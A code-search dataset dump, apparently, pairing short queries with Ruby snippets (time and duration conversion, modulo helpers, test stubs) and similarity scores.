\n \t[365, :days], \n \t[100, :years]\n ].map do |count, name|\n if secs > 0\n secs, n = secs.divmod(count)\n \"#{n.to_i} #{name}\"\n end\n end.compact.reverse.join(' ')\nend", "def seconds ; return aseconds % SPM ; end", "def get_dhms(seconds)\n seconds = Integer(seconds)\n ss = seconds % 60\n seconds = seconds / 60\n\n mm = seconds % 60\n seconds = seconds / 60\n\n hh = seconds % 24\n seconds = seconds / 24\n\n dd = seconds\n\n if (dd > 0)\n return \"%dd %02dh %02dm %02ds\" % [dd, hh, mm, ss]\n elsif (hh > 0)\n return \"%dh %02dm %02ds\" % [hh, mm, ss]\n elsif (mm > 0)\n return \"%dm %02ds\" % [mm, ss]\n else\n return \"%ds\" % ss\n end\nend", "def calculate_seconds(seconds)\n minutes = seconds / 60\n hours = minutes / 60\n return minutes, hours\nend", "def time_conversion(minutes)\n hours = minutes / 60\n remaining_minutes = minutes % 60\n \"%s:%02d\" % [hours, remaining_minutes]\nend", "def format_seconds value\n '%02d:%02d:%02d' % [(value/3600).floor,((value/60)%60).floor,(value%60)]\n end", "def make_array min,sec\n (\"%d%02d*\" % [min,sec]).gsub(/^0+([^*])/,'\\1').split(//)\nend", "def spavanac\n input = gets.to_s.split(\" \")\n hours = input[0].to_i\n minutes = input[1].to_i\n remainder = 45 - minutes\n minutes -= 45\n hours_remainder = hours - 1\n if minutes.negative?\n minutes = 60 - remainder\n hours = hours_remainder\n if hours.negative?\n hours = 24 - 1\n end\n end\n puts \"#{hours} #{minutes}\"\nend", "def divmod(arg0)\n end", "def divmod(arg0)\n end", "def time_conversion(minutes)\n\t # hours = 0\n\n # while minutes >= 60 do\n # if minutes >=60\n # hours += 1\n # minutes -=60\n # end\n # end\n\n\n # new_hour = hours.to_s\n # new_minutes = minutes.to_s\n\n \tmin = minutes % 60\n hours = minutes / 60\n\n if min < 10\n \tmin = '0'+min.to_s\n end\n\n \treturn hours.to_s + ':' + min.to_s\n\nend", "def rational_hour(seconds); end", "def humanize_time(seconds)\n\tminutes = seconds / 60\n \t[[60, :m], [24, :h], [100000, :d]].map{ |count, name|\n if minutes > 0\n minutes, n = minutes.divmod(count)\n \"#{n.to_i}#{name}\"\n end\n }.compact.reverse.join('')\nend", "def time_string(string)\n\n times=string.split(\":\")\n puts times.inspect\n residual= times[1].to_f/2\n hour_degrees=times[0].to_i*30+residual\n minutes=times[1].to_i*6\n return hour_degrees-minutes\n\nend", "def timeConversion(s)\n # Write your code here\n b = s[-2..-1] == 'PM' ? 12 : 0\n p b\n h = s.split(':')[0]\n h = h.to_i%12 + b\n p h\n p h.to_s + s[2..-3]\nend", "def time_convert(num)\n hr, min = num.divmod(60)\n \"#{hr}:#{min}\"\nend", "def TimeConvert(num)\n hour = num/60\n minute = num % 60\n puts (\"#{hour}:#{minute}\")\n\nend", "def time_string\n\n\t\thours = @seconds/3600 #if not an hour will be stored as 0\n\t\tremainder = @seconds%3600 #modulo gives the amount that remains\n\t\tsprintf(\"%02d:%02d:%02d\", hours, remainder/60, remainder%60) #string formatting\n\t\t\n\tend", "def splitInteger(num, parts)\n results = []\n remainder = num % parts\n parts.times do\n results << num / parts\n end\n \n results.reverse!.map! do |num|\n break if remainder == 0 \n remainder -= 1\n num += 1\n end\n \n results.reverse!\n \nend", "def getHour(mod = 24, unit = 1)\n return normalize(getMin(0,0)/60.0, mod, unit) ;\n end", "def duration_parts(duration)\n dur = duration.abs\n\n secs = dur.round\n mins = (dur / 1.minute).round\n days = (dur / 1.day).round\n months = (dur / 1.month).round\n\n [secs, mins, days, months]\n end", "def as_time_elapsed(secs)\n TIME_RANGE.map do |count, name|\n next unless secs > 0\n secs, n = secs.divmod(count)\n n = if name == :seconds\n n.round(4)\n else\n n.to_i\n end\n \"#{n} #{name}\"\n end.compact.reverse.join(' ')\n end", "def parse_time(time)\n result = Struct.new(:days, :hours, :minutes).new\n time = time.to_i\n result.days = time / 86_400\n time = time % 84_600\n result.hours = time / 3_600\n time %= 3_600\n result.minutes = time / 60\n result\nend", "def split_into_parts\n number = integer.to_i\n\n @parts = [\n number / 10**8,\n (number / 10**4) % 10**4,\n number % 10**4\n ]\n end", "def time_string(secs)\n dhms = ([secs / 86400] + Time.at(secs).utc.strftime('%H|%M|%S').split(\"|\").map(&:to_i)).zip(['day', 'hour', 'minute', 'second'])\n dhms.shift while dhms[0][0] == 0\n dhms.pop while dhms[-1][0] == 0\n dhms.map! { |(v, s)| \"#{v} #{s}#{v == 1 ? nil : 's'}\" }\n return dhms[0] if dhms.size == 1\n \"#{dhms[0..-2].join(', ')} and #{dhms[-1]}\"\n end", "def minutes\n (seconds % 3600) / 60\n end", "def time_of_day(integer)\n number, remainder = integer.divmod(1440)\n total_minutes = remainder\n\n number, remainder = remainder.divmod(60)\n final_hours = number\n final_minutes = remainder\n\n if final_hours < 10 && final_minutes < 10\n final_hours = \"#{'0'}#{final_hours}\"\n final_minutes = \"#{'0'}#{final_minutes}\"\n final_string = \"#{final_hours}:#{final_minutes}\" \n elsif final_hours < 10 && final_minutes > 10\n final_hours = \"#{'0'}#{final_hours}\"\n final_string = \"#{final_hours}:#{final_minutes}\" \n elsif final_hours > 10 && final_minutes < 10\n final_minutes = \"#{'0'}#{final_minutes}\"\n final_string = \"#{final_hours}:#{final_minutes}\" \n else\n final_string = \"#{final_hours}:#{final_minutes}\" \n end \n\n final_string\nend", "def time_conversion(minutes)\n hours = 0\n counter = 0\n Array(1..minutes).each do |i|\n counter += 1\n if counter == 60\n minutes -= 60\n hours += 1\n counter -= 60\n end\n end\n minutes = '0' + minutes.to_s if minutes < 10\n return hours.to_s + \":\" + minutes.to_s\nend", "def timechunk(sec)\n fail \"sec = #{sec}\" if sec < 1\n 1.send(find_unit(sec)).round\n end", "def initialTimeDecimal(inputStartTime)\n split = inputStartTime.split(':')\n hours = split[0].to_i\n split = split[1].split(' ')\n #mins = split[0].to_i\n if (split[1] == \"PM\")\n hours += 12\n end\n return hours\nend", "def time_conversion(minutes)\n hours, minutes = minutes.divmod(60)\n minutes = ('0' + minutes.to_s)[-2, 2]\n \"#{hours}:#{minutes}\"\nend", "def divmod(divisor)\n \n if (@ca.getValidCharacters.include? divisor)\n new_coefs = @coefs.map do |a|\n quotient = @ca.binaryDivide(a, divisor)\n end\n q, r = MyPolynomial[new_coefs], MyPolynomial[' ']\n elsif divisor.is_a? MyPolynomial\n a = self; b = divisor; q = ' '; r = self\n (a.degree - b.degree + 1).times do\n dd = r.degree - b.degree\n qqa = @ca.binaryDivide(r.coefs[-1], b.coefs[-1])\n qq = MyPolynomial[dd => qqa]\n q = qq.+(q)\n r = r + (qq * divisor)\n break if r.zero?\n end\n else\n raise ArgumentError, 'divisor should be a valid character or polynomial'\n end\n [q, r]\n end", "def modulo(dividend, divisor)\n puts \"#{dividend} % #{divisor} = #{dividend.modulo(divisor)}\\n\"\nend", "def handle_times_divide(tokens)\n# puts \"HTD called with tokens #{tokens}\"\n result = [tokens[0]]\n pending_op = nil\n tokens[1..-1].each do |token|\n case token\n when '+', '-'\n result.push(token)\n when '*', '/'\n pending_op = token\n else\n case pending_op\n when '*'\n result[-1] *= token\n when '/'\n result[-1] /= token\n else\n result.push(token)\n end\n pending_op = nil\n end\n end\n result\nend", "def age_parts(in_seconds)\n\n parts = Hash.new\n factors = [[:years, 31557600],\n [:months, 2629800],\n [:days,86400],\n [:hours, 3600],\n [:minutes,60],\n [:seconds,1]]\n factors.collect do |unit, factor|\n value, in_seconds = in_seconds.divmod(factor)\n parts[unit] = value\n end\n\n return parts\n end", "def time_conversion(minutes)\n hr = 0\n min = 0\n \n while minutes >= 0\n if minutes >= 60\n minutes = minutes - 60\n hr = hr + 1\n elsif minutes < 10\n min = 0.to_s + minutes.to_s\n return hr.to_s + ':' + min.to_s\n else\n min = minutes\n return hr.to_s + ':' + min.to_s\n end\n end\nend", "def format_time(seconds)\n if seconds < 60\n sprintf \"%ds\", seconds\n elsif seconds < 60 * 60\n sprintf \"%dm:%02ds\", seconds / 60, seconds % 60\n else\n sprintf \"%dh:%02dm\", seconds / (60 * 60), seconds % (60 * 60) / 60\n end\nend", "def decompose_as_time\n s = self\n days = (s / 1.day).nil_if_zero\n reste = s % 1.day\n hours = (reste / 3600).nil_if_zero\n reste = reste % 3600\n minutes = (reste / 60).nil_if_zero\n seconds = (reste % 60).nil_if_zero\n {days: days, hours: hours, minutes: minutes, seconds: seconds}\n end", "def human_readable_time(seconds)\n minutes = seconds.divmod(60)[0] # discard seconds.\n hours, minutes = minutes.divmod(60)\n days, hours= hours.divmod(24)\n result = ''\n result << \"#{days} d, \" if days > 0\n result << \"#{hours} h, \" if hours > 0\n result << \"#{minutes} m,\" if minutes > 0\n return result.strip.chomp ','\n end", "def to_time(secs)\n\t\thours = (secs/60/60).to_i\n\t\tsecs -= hours*60*60\n\t\tmins = (secs/60).to_i\n\t\tsecs -= mins*60\n\t\tsecs = secs.to_i\n\t\treturn \"#{hours.to_s}:#{mins.to_s.rjust(2,\"0\")}:#{secs.to_s.rjust(2,\"0\")}\"\n\tend", "def remainder(val); end", "def divide_by_subtraction(dividend, divisor)\n #puts \"#{dividend}/#{divisor} is :\"\n quotient = 0 \n remainder = 0\n if dividend < divisor\n return [ 0, dividend]\n elsif divisor == 0 #can't do division by zero\n return nil\n else\n while dividend - divisor >= divisor\n dividend = dividend - divisor\n quotient += 1\n end\n \n if dividend != 0\n remainder = dividend - divisor\n quotient += 1\n end\n \n return [ quotient , remainder]\n end\n\n\nend", "def secondstoHMS(sec)\n seconds = sec % 60\n minutes = (sec / 60) % 60\n hours = sec / 3600\n\n format(\"%02d:%02d:%02d\", hours, minutes, seconds) #=> \"01:00:00\"\nend", "def ReturnSeconds(value)\n result = value.split(/m|s/)\n result = result[0].to_i*60 + result[1].to_i\n return result\nend", "def format_duration(seconds)\n seconds = seconds.to_f\n answer = Array.new\n if seconds == 0\n return \"now\"\n end\n while seconds >= (60*60*24*365) #years\n answer << (seconds / (60*60*24*365).to_f).to_s.split(\".\").first\n answer.last.to_i > 1 ? answer[-1] += \" years\" : answer[-1] += \" year\"\n seconds = (seconds % (60*60*24*365))\n end\n while seconds >= (60*60*24) #days\n answer << (seconds / (60*60*24).to_f).to_s.split(\".\").first\n answer.last.to_i > 1 ? answer[-1] += \" days\" : answer[-1] += \" day\"\n seconds = (seconds % (60*60*24))\n end\n while seconds >= (60*60) #hours\n answer << (seconds / (60*60).to_f).to_s.split(\".\").first\n answer.last.to_i > 1 ? answer[-1] += \" hours\" : answer[-1] += \" hour\"\n seconds = (seconds % (60*60))\n end\n while seconds >= (60) #minutes\n answer << (seconds / (60).to_f).to_s.split(\".\").first\n answer.last.to_i > 1 ? answer[-1] += \" minutes\" : answer[-1] += \" minute\"\n seconds = (seconds % (60))\n end\n if seconds < 60\n answer << seconds.to_i.to_s\n answer.last.to_i > 1 ? answer[-1] += \" seconds\" : answer[-1] += \" second\"\n end\n while answer[-1].split(\" \").first.to_i == 0\n answer.pop\n end\n while answer.length >= 3\n answer[1] = answer[0] + \", \" + answer[1]\n answer.shift\n end\n if answer.length == 2\n answer.join(\" and \")\n else\n answer.first\n end\nend", "def day_fraction_to_time fraction # :nodoc:\n seconds, fraction = fraction.divmod SECONDS_IN_DAY\n hours, seconds = seconds.divmod 3600\n minutes, seconds = seconds.divmod 60\n [hours, minutes, seconds, fraction * 86400]\n end", "def subtractUTF(t1,t2)\n\t\tt3=subtract(t1,t2)\n\t\tdays = (t3 / (60*60*24)).floor\n\t\trest = (t3 % (60*60*24))\n\t\thours = (rest / (60*60)).floor\n\t\trest = (rest % (60*60))\n\t\tminutes = (rest / 60).floor\n\t\trest = (rest % 60)\n\t\tresult=[days,hours,minutes,rest]\n\t\treturn result\n\tend", "def format_seconds_duration(seconds)\n return '' if seconds.nil?\n hrs = (seconds.to_i/3600)\n mins = (seconds.to_i/60) % 60\n secs = seconds - hrs*3600 - mins* 60\n (hrs > 0 ? ('%2d' % hrs) + ':' : '' ) + sprintf(\"%02d:%02d\", mins, secs) \n end", "def split_number(start)\r\r\n number = []\r\r\n number[0] = start / 1000 / 1000\r\r\n number[1] = start / 1000 % 1000\r\r\n number[2] = start % 1000\r\r\n return number\r\r\n end", "def clock(hours, minutes, seconds)\n hours = scrub(hours, 23)\n minutes = scrub(minutes, 59)\n seconds = scrub(seconds, 59)\n # if hours < 0\n # raise ArgumentError, \"Invalud hours #{hours}\"\n # elsif hours < 10 \n # hours = \"0#{hours}\"\n # end\n # if minutes < 0\n # raise ArgumentError, \"Invalud minutes #{minutes}\"\n # elsif minutes < 10\n # minutes = \"0#{minutes}\"\n # end\n # if seconds < 0\n # raise ArgumentError, \"Invalud minutes #{seconds}\"\n # elsif seconds < 10\n # seconds = \"0#{seconds}\"\n # end\n return \"#{hours}:#{minutes}:#{seconds}\"\n \nend", "def time_conversion(minutes)\n hours = 0\n\n while minutes >= 60\n hours = hours + 1\n minutes = minutes - 60\n end \n \n if minutes < 10\n minutes_string = \"0\" + minutes.to_s \n else \n minutes_string = minutes.to_s\n end\n \n return hours.to_s + \":\" + minutes_string\n \nend", "def time_convert (num)\n hour = (num/60).to_s\n min = (num % 60).to_s\n puts hour + \":\"+ min\nend", "def nicetime_split s\n\t\t\ts.split(/(\\d+)/).reject{|c| c.empty?}\n\t\tend", "def time_conversion(minutes)\n\thours = minutes / 60\n\tmin = minutes % 60\n\t\tif min < 10\n\t\t\tmin_new = \"0\" + min.to_s\n\t\t\treturn \"#{hours}:#{min_new}\"\n\t\tend\n\tp \"#{hours}:#{min}\"\nend", "def day_fraction_to_time(fr)\n hours, fr = (fr * 24).divmod(1)\n minutes, fr = (fr * 60).divmod(1)\n seconds, sec_fract = (fr * 60).divmod(1)\n [hours, minutes, seconds, sec_fract]\n end", "def split_div(str)\n str =~ /(\\d+)\\/(\\d+)/\n if $1 and $2\n result = $1.to_f / $2.to_f\n result.to_s.gsub(/\\.(\\d)\\d*/) { |s| \".\"+$1 }\n else\n str\n end\n end", "def split_number(start)\n number = []\n number[0] = start / 1000 / 1000\n number[1] = start / 1000 % 1000\n number[2] = start % 1000\n return number\n end", "def formatted_duration(total_seconds)\n total_seconds = total_seconds.round # to avoid fractional seconds potentially compounding and messing up seconds, minutes and hours\n hours = total_seconds / (60*60)\n minutes = (total_seconds / 60) % 60 # the modulo operator (%) gives the remainder when leftside is divided by rightside. Ex: 121 % 60 = 1\n seconds = total_seconds % 60\n [hours, minutes, seconds].map do |t|\n # Right justify and pad with 0 until length is 2. \n # So if the duration of any of the time components is 0, then it will display as 00\n t.round.to_s.rjust(2,'0')\n end.join(':')\nend", "def formatted_duration(total_seconds)\n total_seconds = total_seconds.round # to avoid fractional seconds potentially compounding and messing up seconds, minutes and hours\n hours = total_seconds / (60*60)\n minutes = (total_seconds / 60) % 60 # the modulo operator (%) gives the remainder when leftside is divided by rightside. Ex: 121 % 60 = 1\n seconds = total_seconds % 60\n [hours, minutes, seconds].map do |t|\n # Right justify and pad with 0 until length is 2. \n # So if the duration of any of the time components is 0, then it will display as 00\n t.round.to_s.rjust(2,'0')\n end.join(':')\nend", "def time_conversion2(minutes)\n hours = 0\n\n while minutes >= 60 # keep substracting 60 untill leaving just minutes less than 60\n hours += 1\n minutes -= 60\n end\n\n if minutes < 10 # less than two digit minutes\n minutes_s = \"0\" + minutes.to_s\n else # more than 10\n minutes_s = minutes.to_s\n end\n\n return hours.to_s + \":\" + minutes_s\nend", "def time_conversion(minutes)\n hours = 0\n if minutes < 10\n minutes = \"0\" + minutes.to_s\n elsif minutes % 60 == 0 \n hours = minutes / 60\n minutes = \"00\"\n else\n hours = minutes / 60\n minutes = minutes % 60\n end\n return hours.to_s + \":\" + minutes.to_s\nend", "def time_span_in_DHMS(passed_time=nil)\n passed_time = current_sign_in_at if passed_time.nil?\n time1 = Time.now\n time2 = passed_time\n days, remaining = (time1 - time2).to_i.abs.divmod(86400)\n hours, remaining = remaining.divmod(3600)\n minutes, seconds = remaining.divmod(60)\n [days, hours, minutes, seconds]\n end", "def magnitude_part_and_remainder\n quotient, remainder = self.divmod(magnitude)\n [magnitude * quotient, remainder]\n end", "def modulus(d, e)\n puts \"MODULUS #{d} % #{e}\"\n return d % e\nend", "def time_conversion(minutes)\n if minutes / 60 == 0\n if minutes < 10 \n return \"00:0#{minutes}\"\n \n else\n return \"00:#{minutes}\"\n end\n else\n hours = minutes / 60\n minutes2 = minutes % 60\n if minutes2 == 0\n return \"0#{hours}:00\"\n else\n return \"0#{hours}:#{minutes2}\"\n end\n end\nend", "def time_of_day(input_minutes)\n if input_minutes < 0\n results = input_minutes.divmod(60)\n hours, minutes = (24 + results[0]), results[1]\n hours = hours % 24\n else\n hours, minutes = input_minutes.divmod(60)\n hours = hours % 24\n end\n format(\"%02d:%02d\",hours,minutes)\nend", "def dms(degrees)\n degree = degrees.to_i\n remainder = degrees.to_f - degrees.to_i\n minutes = (remainder * 60).to_i\n remainder_of_seconds= (remainder*60) - (remainder*60).to_i\n seconds = remainder_of_seconds * 60\n\n min = sprintf '%02d', minutes\n sec = sprintf '%02d', seconds\n\n puts \"#{degree}#{DEGREE}#{min}'#{sec}\\\"\"\nend", "def format_time\n hours = format_hour @hour\n minutes = format_minute @minutes\n ampm = @hour < 12 ? @@ampm_hash['a'] : @@ampm_hash['p']\n time = ''\n time += hours[0] + minutes[0] + ' ' + ampm[0] + \"\\n\"\n time += hours[1] + minutes[1] + ' ' + ampm[1] + \"\\n\"\n time += hours[2] + minutes[2] + ' ' + ampm[2] + \"\\n\"\n time\n end", "def parts_to_duration(parts)\n parts = parts.to_h.slice(*CAST_PARTS)\n return 0.seconds if parts.blank?\n\n seconds = 0\n parts = parts.map do |part, num|\n num = num.to_i unless num.is_a?(Numeric)\n next if num <= 0\n\n seconds += num.send(part).value\n [part.to_sym, num]\n end\n\n ActiveSupport::Duration.new(seconds, parts.compact)\n end", "def time_string()\n #Get numerical representations for each value\n @hours = seconds / 60 / 60\n @minutes = (seconds / 60) % 60\n @seconds = seconds % 60\n\n #Convert the values to properly formatted strings\n @hours = padded(@hours)\n @minutes = padded(@minutes)\n @seconds = padded(@seconds)\n \n #return the string\n @hours + ':' + @minutes + ':' + @seconds\n end", "def seconds_to_years_and_months(seconds)\n years = days_to_years(hours_to_days(minutes_to_hours(\n seconds_to_minutes(seconds.to_f))))\n months = years % 1 * 12\n [years.floor, months.floor]\nend", "def format_time_h_mm(time_string)\n\t\tresult = ''\n\t\ttime_duration = Time.at(time_string).utc\n\n\t\t#format hours\n\t\tif time_duration.hour > 0\n \t\t\tresult << time_duration.strftime('%k hour')\n \t\t\tif time_duration.hour > 1\n\t\t\t\tresult << 's'\n\t\t\tend\n\t\t\tresult << ', '\n \t\tend\n\n \t\t#format minutes\n \t\tif time_duration.min > 0\n \t\t\tresult << time_duration.strftime('%M minute')\n\t \t\tif time_duration.min > 1\n\t\t\t\tresult << 's'\n\t \t\tend\n \t\tend\n\tend", "def TimeConvert(num)\n hours = num / 60\n minutes = num % 60\n \n \"#{hours}:#{minutes}\"\nend", "def remainder(p0) end", "def h # human\n \"%02d:%02d:%02d\" % [total/3600%24, total/60%60, total%60]\n end", "def mod(first_number, second_number)\n first_number % second_number\nend" ]
[ "0.62744635", "0.6194322", "0.61703575", "0.60900307", "0.6050997", "0.602515", "0.60038316", "0.59600335", "0.5889224", "0.5863171", "0.58164614", "0.58023393", "0.5782319", "0.5772425", "0.5770685", "0.5768418", "0.5730348", "0.5723905", "0.5691104", "0.56821966", "0.5672083", "0.5669823", "0.56494296", "0.56201535", "0.56129205", "0.5603163", "0.56016314", "0.55574936", "0.5548238", "0.5546793", "0.55449003", "0.5541852", "0.5517513", "0.5517513", "0.5505251", "0.5487633", "0.5483274", "0.54675543", "0.54640347", "0.54583925", "0.54581046", "0.54577655", "0.5443376", "0.54422134", "0.54185665", "0.5399526", "0.5352871", "0.5342847", "0.5342571", "0.534246", "0.53346324", "0.5328093", "0.5314781", "0.5295625", "0.52900076", "0.52835983", "0.5282315", "0.52529913", "0.5244631", "0.5236168", "0.52316207", "0.5213948", "0.5211896", "0.5210873", "0.51979816", "0.5195909", "0.51955074", "0.51950234", "0.51864177", "0.518639", "0.51863", "0.51830024", "0.5178747", "0.51719975", "0.5158497", "0.5153863", "0.5151586", "0.5147483", "0.51466525", "0.51450855", "0.51399946", "0.51306844", "0.51306844", "0.5130635", "0.51281875", "0.5121672", "0.51151603", "0.51108736", "0.5100834", "0.5097", "0.5091519", "0.508974", "0.50748956", "0.5074819", "0.5074554", "0.506974", "0.50625175", "0.5059836", "0.5059654", "0.50518644" ]
0.61486465
3
To not break prod (WebKite) ~Jon
def liquid_line_number @line_number end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allow_production; end", "def allow_production=(_arg0); end", "def prod?\n !(Rails.env.development? || Rails.env.test?)\nend", "def request_debug_assets?; end", "def request_debug_assets?; end", "def production?\n ENV[\"JEKYLL_ENV\"] == \"production\"\nend", "def keg_only?; false end", "def production_curtailment; end", "def one_gradable_ex_only\n end", "def vendor; end", "def production? ; @app.options[:env] == :production ; end", "def needs_prod_set\n\t\treturn false\n\tend", "def dev() end", "def production?\n @production ||= true\n end", "def site_cleaner; end", "def development\r\n\r\n end", "def pre_install; end", "def test?\n !production?\n end", "def should_remove_librun_and_stc_sources\n !(core_developer? or ENV['RETAIN_STX_AND_LIBRUN_SOURCE'] == 'yespleaseretain!')\nend", "def server_software; end", "def published\n self.production?\n end", "def sandbox?\n !production?\n end", "def development?\n !production?\n end", "def hijacked; end", "def ignore_production_checks?\n ignore_production_checks != 'false'\n end", "def prod_gems\n test_gems\nend", "def prod_db2dev\n exit_if_production\n prod_db_backup\n prod_db_pull\n prod_db_load\n end", "def production?\n environment == :production\nend", "def production_opening\n $: << File.expand_path(File.dirname(__FILE__) + \"/lib\")\n $USE_SERVER = false\n end", "def standalone; end", "def precompile_assets; end", "def disable_caching; end", "def check_production_account_settings\n raise \"Not using production settings! Use '--env production'\".red unless lane_context[SharedValues::ENVIRONMENT] == 'production' \nend", "def sandbox?\n !production?\n end", "def weber; end", "def pausable; end", "def stand_alone?; end", "def stand_alone?; end", "def production?\n self.environment == ENV_PROD\n end", "def production?\n Rails.env.production? || ENV[\"SIMULATE_PROD\"]\n end", "def ygg_attacker() ; return nil ; end", "def developers_only! \n end_session!\n exception = Exceptional::DevsOnly.new(\"The System is currently offline for development, please contact Team::Dev\")\n exception.javascript = \"<script type='text/javascript'> setTimeout(function(){window.location.href = '/'}, 10000); </script>\"\n raise exception\n end", "def override_tomcat?; false; end", "def blockdev?() end", "def include_non_production?\n config.dig(\"pnpm\", \"production_only\") == false\n end", "def soy_edificable\n return true\n end", "def run\n @production\n end", "def install_when_cache_hit!\n # just print log\n sandbox.exsited_framework_target_names.each do |name|\n UI.puts \"Using #{name}\"\n end\n end", "def private; end", "def install_when_cache_hit!\n # just print log\n self.sandbox.exsited_framework_target_names.each do |name|\n Pod::UI.puts \"🚀 Using cache #{name}\".blue\n end\n end", "def debug?\n !production?\n end", "def hidden_apis; end", "def ignore_env_proxy; end", "def ignore_env_proxy; end", "def ignore_env_proxy; end", "def security_prevent_install_apps_from_unknown_sources\n return @security_prevent_install_apps_from_unknown_sources\n end", "def deploy_disabled?\n ENV['NO_DEPLOY'] == '1'\nend", "def deploy_disabled?\n ENV['NO_DEPLOY'] == '1'\nend", "def deploy_disabled?\n ENV['NO_DEPLOY'] == '1'\nend", "def silence_deprecations; end", "def environment\n \"production\"\n end", "def use_bundled_cert!; end", "def used?; end", "def appraisals; end", "def appraisals; end", "def ignore_production_checks\n CGI.unescape(ENV.fetch('IGNORE_PRODUCTION_CHECKS', 'false'))\n end", "def autorun; end", "def external; end", "def sandbox?; end", "def sandbox?; end", "def use_fake_kissmetrics_api?\n if defined? Rails\n !Rails.env.production?\n else\n false\n end\n end", "def use_cdn_resources?\n !Rails.env.development? and !Rails.env.test?\n end", "def asset_host; end", "def asset_host; end", "def soy_edificable\n return false\n end", "def soy_edificable\n return false\n end", "def post_install; end", "def developer?\n config[\"developer\"] == true\n end", "def production?\n config[:target] == :production\n end", "def deploy\n\t# This task is typiclly run after the site is updated but before the server is restarted.\nend", "def deploy\n\t# This task is typiclly run after the site is updated but before the server is restarted.\nend", "def production_partnerships_shared_products\n#\t\tMoved to production products\n\tend", "def upgrade_app_explain; \"Check for updates to Hobix.\"; end", "def whiny; end", "def prod_server\n PROD_SERVER\n end", "def sitemaps; end", "def generate_comprehensive\n\n end", "def conscientious_require; end", "def environment\n 'dev'\nend", "def ibu; end", "def cobasysprog\n end", "def third_party_processors; end", "def ordered_railties; end", "def ordered_railties; end", "def site; end", "def site; end", "def site; end", "def site; end", "def site; end", "def site; end", "def site; end" ]
[ "0.7174081", "0.68001735", "0.61823434", "0.60857356", "0.60857356", "0.6056256", "0.6000531", "0.5991989", "0.59841806", "0.5941582", "0.59167844", "0.5895661", "0.5851723", "0.5830881", "0.58148843", "0.5782016", "0.5773634", "0.5771044", "0.5765948", "0.5738071", "0.5729597", "0.57100767", "0.57078373", "0.5694222", "0.5666677", "0.5661505", "0.5659516", "0.5644651", "0.56413", "0.5588964", "0.5583403", "0.55583185", "0.5557817", "0.55555", "0.55504286", "0.55435306", "0.55316025", "0.55316025", "0.5522706", "0.5521691", "0.55011797", "0.550052", "0.5499542", "0.5492831", "0.54873425", "0.548366", "0.54716736", "0.5469864", "0.54615384", "0.5439968", "0.543977", "0.5431921", "0.542765", "0.542765", "0.542765", "0.542692", "0.54254454", "0.54254454", "0.5425184", "0.54197043", "0.5404227", "0.54038614", "0.5402504", "0.53992814", "0.53992814", "0.5384269", "0.5383542", "0.53804857", "0.5370151", "0.5370151", "0.53689605", "0.5366899", "0.5365436", "0.5365436", "0.53582835", "0.53582835", "0.53581774", "0.5353862", "0.5347938", "0.53364193", "0.53364193", "0.53355616", "0.53352463", "0.5333687", "0.5331619", "0.5324659", "0.5315927", "0.5314688", "0.53142095", "0.53093594", "0.5308676", "0.5308465", "0.5305823", "0.5305823", "0.5297644", "0.5297644", "0.5297644", "0.5297644", "0.5297644", "0.5297644", "0.5297644" ]
0.0
-1
this testcase has no tests of its own:
def default_test info "self: #{self}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def spec; end", "def spec; end", "def __dummy_test__\n end", "def private; end", "def running_test_case; end", "def self_test; end", "def self_test; end", "def testing\n # ...\n end", "def test_0_dummy\n\t\tend", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def test_cases; end", "def test_case; end", "def tests; end", "def tests; end", "def tests=(_arg0); end", "def tests=(_arg0); end", "def test \n end", "def test_method\n end", "def stest_method_1(test); end", "def test_setup\r\n \r\n end", "def failures; end", "def failures; end", "def failures; end", "def test_nothing\n end", "def test_nothing; end", "def running_test_step; end", "def probers; end", "def test\n\n end", "def default_test\r\n end", "def before_test(test); end", "def before_test(test); end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def test\n end", "def test\n end", "def test\n end", "def test_step; end", "def internship_passed; end", "def test_nothing\n end", "def teardown; end", "def teardown; end", "def assertions; end", "def assertions; end", "def schubert; end", "def my_tests\n end", "def test_truth\n end", "def test_connection\n end", "def testing_end\n end", "def testloop\n \n end", "def process_test_cases\n raise NotImplementedError, 'You must implement this'\n end", "def _test_message ; process_test_case(\"message\") ; end", "def teardown\r\n end", "def test; end", "def default_test; end", "def checks; end", "def should; super end", "def implementation; end", "def implementation; end", "def test_source_get()\n One::EmailDirect::Facade.source_add(@credentials, @source_get[:name], @source_get[:description])\n\n\n # 1.\n result = One::EmailDirect::Facade.source_get(@credentials, @source_get[:name])\n assert result.has_key? :element_id\n assert result.has_key? :element_name\n assert result.has_key? :description\n result.delete(:element_id)\n expected = {\n :element_name => @source_get[:name],\n :description => @source_get[:description]\n }\n assert_equal expected, result\n\n\n # 2.\n assert_nil One::EmailDirect::Facade.source_get(@credentials, 'inexistent')\n end", "def teardown\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def teardown\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\n end", "def setup\n\n end", "def setup\n\n end", "def test_cyclic\n end", "def message_for(test); end", "def message_for(test); end", "def ptest_method_1(test); end", "def after_test(_test); end", "def after_test(_test); end", "def after_test(_test); end", "def graffiti_test\n end", "def test_order; end", "def weber; end", "def self_test(switches)\n #Visual test to see if we loaded data correctly.\n switches.each do |s|\n pp s\n end\nend", "def default_test\n end", "def test_nothing\n return true\n end", "def covered?; end", "def run; end", "def run; end", "def run; end" ]
